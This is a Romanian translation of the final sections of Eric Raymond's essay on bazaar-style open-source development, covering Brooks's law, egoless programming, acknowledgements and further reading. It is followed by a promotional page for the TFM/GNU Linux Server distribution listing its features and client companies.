In “Miticul om-luna”, Fred Brooks a observat ca timpul uni programator nu este inlocuibil; adaugarea developerilor la un proiect intirziat il face sa intirzie mai mult. A argumentat prin faptul ca costul complexitatii si comunicarii intr-un proiect creste cu patratul numarului de developeri, in timp ce cantitatea de munca creste numai linear. De atunci, aceasta idee a devenit “legea lui Brooks” si e considerata in general un adevar. Dar daca legea lui Brooks ar cuprinde tot, Linux ar fi fost imposibil.

Citiva ani mai tirziu, clasicul “Psihologia programarii computerelor” de Gerald Weiberg a furnizat ceea ce putem privi ca corectura vitala la Brooks. In discutia lui despre “programarea neegoista”, Weinberg a constatat ca in magazinele unde developerii nu sint posesivi cu code-ul lor si ii incurajeazape altii sa caute buguri si imbunatatiri posibile, imbunatatirea apare mult mai repede decit in alte parti.

Alegerea terminologiei lui Weinberg a impiedicat cistigarea meritelor pe care analiza le merita – oricine ar zimbi la gindul ca hackerii de pe Internet ar putea fi considerati “dezinteresati”. Dar cred ca acest argument pare astazi mai real ca intotdeauna.

Istoria Unixului ar fi trebuit sa ne pregateasca pentru ceea ce invatam din Linux (si ce am verificat experimental la o scara mai mica copiind deliberat
metodele lui Linus). Adica, in timp ce programarea ramine o activitate esential solitara, programele cu adevarat importante apar din angajarea atentiei si puterii de gindire unor comunitati intregi. Developerul care foloseste numai propriul creier intr-un proiect inchis va ramine in urma developerului care stie sa creeze un context deschis, evolutiv in care gasirea bugurilor si imbunatatirile sint realizate de sute de oameni.

Dar lumea Unix traditionala a fost impiedicata de mai multi factori sa impinga aceasta abordare pina la capat. Unul a fost reprezentat de limitarile legale ale diferitelor licente, schimbul de secrete si interese comerciale. Altul a fost acela ca Internetul nu era suficient de bun inca.

Inaintea Internetului ieftin, existau comunitati geografice compacte unde cultura incuraja programarea “neegoista” a lui Weinberg si un developer putea atrage cu usurinta o multime de chibiti talentati si co-developeri. Bell Labs, MIT AI Lab, UC Berkeley – au devenit casa inovatiilor, sint legendare si inca puternice.

Linux a fost primul proiect care a facut un efot continuu si constient pentrua folosi intreaga lume ca sursa de talente. Nu cred ca este o coincidenta faptul ca perioada de gestatie a Linuxului a coincis cu nasterea WWW-ului si ca Linuxul si-a terminat copilaria in aceeasi perioada 1993-1994 in care s-a vazut pornirea industriei ISP si explozia curentului principal de interes in Internet. Linus a fost primul care a invatat cum sa joace dupa noile reguli pe care le-a facut posibile noul Internet permeabil.

In timp ce un Internet ieftin era necesar pentru evolutia modelului Linuxului, cred ca nu era si o conditie suficienta. Alt factor vital a fost dezvoltarea stilului de conducere si aranjarea obiceiurilor de cooperare care puteau permite developerlor sa atraga co-developeri si sa obtina pirghiile maxime pentru mediu.

Dar ce este stilul de conduceresi ce sint aceste obiceiuri ? Nu se pot baza pe relatii de putere – si chiar daca ar putea, conducerea prin obligare nu ar produce rezultatele pe care le vedem. Weinberg citeaza autobiografia lui Kropotkin, un anarhist rus din secolul19, (“Memoriile unui revolutionar”) pentru un efect bun la acest subiect:

“Fiind crescut de familia unui proprietar de sclavi, am intrat in viata activa, ca toti tinerii din vremea mea, cu multa incredere in necesitatea de a comanda, ordona, ocari, pedepsi si altele asemenea. Dar atunci cind, devreme, a trebuit sa ma ocup de treburi serioase si sa ma descurc cu oameni [liberi], si cind fiecare greseala ar fi dus la consecinte serioase, am inceput sa apreciez diferenta intre a actiona pe baza principiului de comanda si disciplina si a actiona pe principiul intelegerii reciproce. Cel
anterior functioneaza admirabil intr-o parada militara, dar nu valoreaza nimic in viata reala si scopul poate fi atins numai prin effort serios si interese comune.”

Inainte m-am referit la “efectul Delphi” ca o posibila explicatie pentru legea lui Linus. Dar analogii mai puternice, irezitibile, apar cu sisteme adaptative din biologie si economie. Lumea Linux se comporta, din multe puncte de vedere, ca o piata libera sau un sistem ecologic, o colectie de agenti egoisti care incearca sa maximalizeze utilitatea, ceea ce produce o ordine spontana auto-corectanta mai elaborata si eficienta decit ar putea realiza vreo planificare centrala. Atunci aici este locul unde trebuie
cautat “principiul intelegerii”.

“Functia utilitate” pe care o maximalizeaza hackerii Linux nu este clasica economic, dar este intangibilul propriei lor auto-satisfactii si reputatiei intre hackeri. (S-ar putea spune ca sint “altruisti”, dar s-ar ignora faptul ca altruismul insusi este o forma de auto-satisfactie pentru altruist). Culturile voluntariatului care functioneaza asa nu sint tocmai rare; o alta din care am facut parte mult timp este lumea fanilor science fiction, care, spre deosebire de lumea hackerilor, recunoaste explicit “egoboo” (amplificarea reputatiei cuiva intre ceilalti fani) ca fiind principala motivatie a activitatii voluntare.

Linus, pozitionindu-se cu succes ca paznic al unui proiect in care dezvoltarea este facuta in principal de altii si hranind interesul pentru proiect pina cind a devenit auto-sustinut, a demonstrat un simt acut al “principiului interesului comun” al lui Kropotkin. Aceasta vedere pseudo-economica asupra lumii Linux ne permite sa vedem cum este aplicata intelegerea.

Putem privi metoda lui Linus ca o metoda de a crea o piata eficienta in “egoboo” – conectarea cit mai puternica a lipsei de egoism individuala a hackerilor pentru a face lucruri dificile, care pot fi realizate numai prin cooperare sustinuta. Cu proiectul fetchmail am aratat (la o scara mai mica) ca metodele lui pot fi duplicate cu rezultate bune. Poate ca eu am facut-o un pic mai constient si mai sistematic decit el.

Multi (mai ales cei care nu au incredere politic in pietele libere) s-ar astepta ca o lume de egoisti egocentristi sa fie fragmentata, teritorializata, in pierdere, secretoasa si ostila. Dar aceste asteptari sint falsificate clar de (numai un exemplu) varietatea, calitatea si profunzimea uimitoare a documentarii Linux. E un dat sfint faptul ca programatorii urasc documentarea; atunci cum se face ca hackerii Linux produc atit de multa ? Evident ca piata libera a Linuxului in lumea egoboo reuseste mai bine sa genereze un comportament virtuos, directionat spre altii, decit producatorii de soft comercial cu documentatiile lor bine platite.

Atit proiectul kernelului fetchmail cit si Linux arata ca recompensind corespunzator egourile multor altor hackeri, un coordonator puternic poate folosi Internetul pentru a avea beneficiile generate de multi co-developeri fara ca proiectul sa se prabuseasca in haos. Deci contra-propunerea mea la
legea lui Brooks este:

Fiind dat un coordonator de dezvoltare cu un mediu cel putin la fel de bun ca Internetul si stie sa conduca fara coercitie, multe capete sint inevitabil mai bune decit unul.

Cred ca viitorul free software-ului va apartine tot mai mult celor care stiu cum sa joace jocul lui Linus, celor care parasesc catedrala si patrund in bazar. Asta nu inseamna ca viziune si talentul individual nu vor mai conta; mai curind, cred ca limita free software-ului va apartine celor care pornesc de la viziunea si talentul individual, apoi le amplifica prin constructia efectiva a unor comunitati de interese bazate pe voluntariat.

Si poate nu numai viitorul free software. Niciun developer comercial nu poate egala multimea de talente pe care comunitatea Linux o poate mobiliza in rezolvarea unei probleme. Foarte putini si-ar putea permite doar sa inchirieze mai mult de 200 de oameni, citi au contribuit la fetchmail!

Poate ca in final cultura free software va trumfa, nu din cauza ca cooperarea este corecta din punct de vedere moral sau “ingradirea” softului este gresita din punct de vedere moral (presupunind ca credeti ultima afirmatie, ceea ce nu credem nici eu nici Linus), ci pur si simplu pentru ca lumea comerciala nu poate invinge o specie evolutiva cu comunitati de free-software care poate mobiliza la timp grupuri mult mai talentate pentru rezolvarea unei probleme.

11. Recunoasteri

Aceasta lucrare a fost imbunatatita datorita conversatiilor cu un mare numar de oameni care m-au ajutat s-o corectez. Multumesc in mod special lui Jeff
Dutky dutky@wam.umd.edu[2], care a sugerat formularea “debugging is parallelizable” si a ajutat la analiza ce a aparut din aceasta idee. De
asemenea lui Nancy Lebovitz nancyl@universe.digex.net[3] pentru sugestiile de a-l explica pe Weinberg citind din Kropotkin. Critici constructive au
venit si de la Joan Eslinger wombat@kilimanjaro.engr.sgi.com[4] si Marty Franzmarty@net-link.net[5] de la lista General Techmatrics. Paul Eggert
eggert@twinsun.com[6] a observat conflictul dintre GPL si modelul bazar. Sint recunoscator membrilor PLUG, grupului de useri Philadelphia Linux pentru
ca mi-au furnizat testul de audienta pentru prima varianta publica a acestei lucrari. In final, Linus Torvald m-a ajutat prin comentarii si m-a incurajat
sustinindu-ma.

De citit in continuare

Am citat mai multe bucati din clasicul “miticul om-luna” de Frederick P. Brooks pentru ca, din multe puncte de vedere, se pot aduce inca imbunatatiri prin imaginea redata de el. Recomand din toata inima a 25-a editie aniversara de la Addison-Wesley (ISBN 0-201-83595-9), care cuprinde si lucrarea din 1986 “Fara glont de argint”.

Noua editie e adusa la zi printr-o retrospectiva nepretuita de 20 de ani in care Brooks recunoaste, pe drept, ca sint citeva judecati in textul original
care nu au suportat testul timpului. Am citit prima data retrospectiva dupa ce aceasta lucrare era aproape gata, si am fost surprins sa vad ca Brooks
atribuie practicile stil bazar Microsoftului!

Psihologia programarii computerelor de Gerald P. Weinberg (New York, Van Nostrand Reinhold 1971) a introdus conceptul, destul de nefericit etichetat,
de “egoless programming”. Cind nu era nici pe departe primul care intelegea superficialitatea conceptului “principle of command”, era probabil primul care recunostea si sustinea ideea in legatura cu dezvoltarea softului.

Richard P. Gabriel, observind cultura Unix din perioada pre-Linux, a sustinut superioritatea unui model stil bazar primitiv in lucrarea Lisp din 1989: “vesti bune, vesti proaste si cum sa cistigi mult”. Desi depasit din anumite puncte de vedere, acest eseu este sarbatorit inca intre fanii Lisp (inclusiv eu). Un corespondent mi-a amintit ca sectiunea intitulata “Mai rau e mai bine” apare aproape ca o anticipare a Linuxului. Lucrarea este accesibila pe WWW la http://alpha-bits.ai.mit.edu/articles/good-news.html[7]

Peopleware de De Marco si Lister: Proiecte si echipe productive (New York; Dorset House, 1987; ISBN 0-932633-05-6) este o nestemata subapreciata si am
fost incintat sa vad ca Fred Brooks cita din ea in retrospectiva. In timp ce putin din ce au de spus autorii este aplicabil direct la Linux sau comunitatile free-software, privirea asupra conditiilor necesare muncii creative sint actuale si meritorii pentru oricine incearca sa importe din meritele modelului bazar intr-un context mai comercial.

In final, trebuie sa recunosc ca aproape am numit aceasta lucrare “The Cathedral and the Agora”, ultimul termen fiind grecescul pentru piata deschisa sau loc public de intilnire. Lucrarile rodnice “sisteme agorice” de Mark Miller si Eric Drexler, descriind proprietatile emergente ale sistemelor de computere market-like, m-au ajutat sa imi fac o imagine clara despre fenomene analoge in cultura free-softwareatunci cind am dat cu nasul de ele, datorita Linuxului, cinci ani mai tirziu. Aceste lucrari sint
accesibile pe WWW la http://www.agorics.com/agorpapers.html[8]

Istoria versiunilor si schimbarilor

Am adaugat bibliografia la 7 iulie 1997 in 1.20.

Am adaugat anecdota Perl Conference la 18 noiembrie 1997 in 1.27.

Alte nivele de revizuire au adus modificari editoriale si de marcaj.


TFM/GNU Linux Server

Ce este TFM/GNU Linux Server?

TFM/GNU Linux Operating System este un sistem de operare bazat pe linux proiectat si optimizat special pentru servere. Proiectarea clasa si simpla duce implicit la configurare facila si instalarea extrem de rapida. Astfel oricine poate instala un server TFM in citeva minute.

De ce TFM/GNU Linux Server?

  • Instalarea foarte usoara si rapida
  • Fiecare serviciu oferit vine o configurare implicita functionala iar acest lucru va poate salva mult timp cind aveti de configurat un serviciu cu care nu sinteti familiar.
  • Timpul de bot este foarte scazut. In circa 30 secunde de la pornire serverul poate fi up and running. Iar asta inseamna downtime de mentenanta mai scazut.
  • Sistemul de operare este folosit de citeva companii foarte cunoscute.
  • Sistemul de operare este imbunatatit periodic. Noi versiuni si update-uri sint asigurate. O noua versiune majora este lansata anual.
  • Costul de intretinere este scazut. Exista servere TFM care functioneaza fara intreruperi de ani de zile si sint administrate complet remote.

Cum pot sa il obtin?

Sint 2 modalitati principale: Il cumparati ( 1 DVD ) sau il downloadati ( mai multe detalii in pagina speciala de download ) .

Instructiuni de instalare?

Vezi paginile speciale de Documentatie unde veti gasi detalii referitoare la fiecare pas al instalarii.

Cine utilizeaza acest sistem de operare?

  • ProTV
  • ProFM
  • TFM Group Sofware ( Sintem increzatori in propriile produse )
  • Tudor Turism & Tour
  • Alfa Tech Group
  • Dynamic&Safe Ltd
  • Imedia Plus Group
  • Translations House
  • Worldwide Hotel Services
  • Tmobile Services
  • Delta Romania
  • Visa Travel
  • Pan Olimpic Travel
  • Chimtotal
  • Visioline